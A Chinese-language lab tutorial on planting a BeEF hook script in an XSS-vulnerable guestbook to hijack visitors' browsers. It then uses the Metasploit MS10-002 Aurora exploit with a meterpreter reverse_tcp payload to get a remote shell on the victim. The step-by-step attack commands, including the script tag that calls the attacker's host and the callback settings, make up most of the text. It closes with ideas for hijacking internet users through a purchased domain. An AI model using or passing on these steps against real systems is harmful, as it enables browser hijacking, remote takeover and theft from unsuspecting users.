使用Beef劫持客户端浏览器并进一步使用Beef+msf拿客户端shell
环境:
1.Kali(使用beef生成恶意代码,IP:192.168.114.140)
2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.114.204)
3. 客户端(用于访问web服务器,IP:192.168.114.130)
步骤:
1. Kali使用beef生成恶意代码
2. 将恶意代码写入192.168.114.204网站留言板
3. 只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持
目的:
控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网,配合metasploit进行内网渗透
以下为具体操作:
一、搭建服务器
首先我在window server 2003上搭建IIS服务器,在站长之家找了一个存在XSS漏洞的留言板源码(我心依然留言板),发布到IIS服务器上。
用WVS扫了一下,确实存在XSS漏洞:
二、Kali中Beef的安装和使用:
启动成功后:
浏览器输入:http://127.0.0.1:3000/ui/panel,Usename与Password均为beef:
三、挂马
将如上图所示的Hook URL写入web服务器存在XSS漏洞的留言板中<scriptsrc="http://192.168.114.140:3000/hook.js"></script>
如果留言被管理员审核通过,你的留言能在留言板显示出来。当客户端访问服务器的留言板后,你可以在Beef控制端查看目标主机,如果出现下图所示内网,表示客户端浏览器已经被成功劫持
在Current Browser项选择Browser,点击Hooked Domain选择Redirect Browser,在右边的Redirect URL中输入网址,即可控制浏览器跳转到目标网址
Beef+msf拿客户端shell(XP+IE6)
一、运行metasploit
Kali收藏栏找到metasploit framework
也可以新建终端输入:msfconsole,启动成功后:
输入以下命令:
1.search ms10_002(寻找ms10_002漏洞)
2.useexploit/windows/browser/ms10_002_aurora(使用ms10_002极光漏洞)
3.set payloadwindows/meterpreter/reverse_tcp(设置TCP回连攻击载荷)
4.show options(查看漏洞利用工具选项)
5.set srvhost 192.168.114.140(配置客户端访问的目标地址,这里是Kali本机的IP地址)
6.set srvport 7777(访问的端口号)
7.set uripath /(网站根路径)
8.set lhost 192.168.114.140(设置本地接收地址)
9.set lport 4444(端口号)
10.show options (查看是否更改过来)
11.exploit(执行利用,出现如下所示表示执行成功)
利用Beef生成的恶意代码植入到存在XSS漏洞的web服务器(12.168.114.204),客户端(192.168.114.130)浏览植入恶意代码的网页,造成客户端浏览器被劫持。当前客户端使用的环境为windows XP+IE6,我们使用metasploit framework工具针对IE6的ms10_002极光漏洞进行利用,控制客户端被劫持的浏览器访问192.168.114.140:7777,触发该漏洞,通过漏洞拿到客户端的权限shell,回连192.168.114.140:4444,从而达到控制客户端系统的目的。
由于笔者的XP+IE6环境没有搭好,以下用的firefox浏览器演示命令执行,跳转之后的效果:
如何查看这个shell,我们在Kali中的metasploit终端按下回车。输入sessions –i(由于用的firefox浏览器,所以没有成功获取session)
我在网上找了张图,当成功利用,显示如下:
根据sessions的Id,输入sessions -i 1,得到meterpreter:
meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
输入shell就可以拿到目标主机的一个cmd
然后就可以做任何想做的事比如net user 创建用户等
二、漏洞发布网站:
想要使用metasploit,当然要配合漏洞进行利用,以下为漏洞发布网站,可以经常去看看:
https://www.exploit-db.com/
三、Beef如何在外网中应用思路
仅个人的一些想法,如果不对请指正:利用本机为Web服务器,购买域名,并将域名解析至本机IP地址,在本机的网站上写入恶意代码。当外网客户端通过域名访问我本机搭建的网站,导致浏览器被劫持。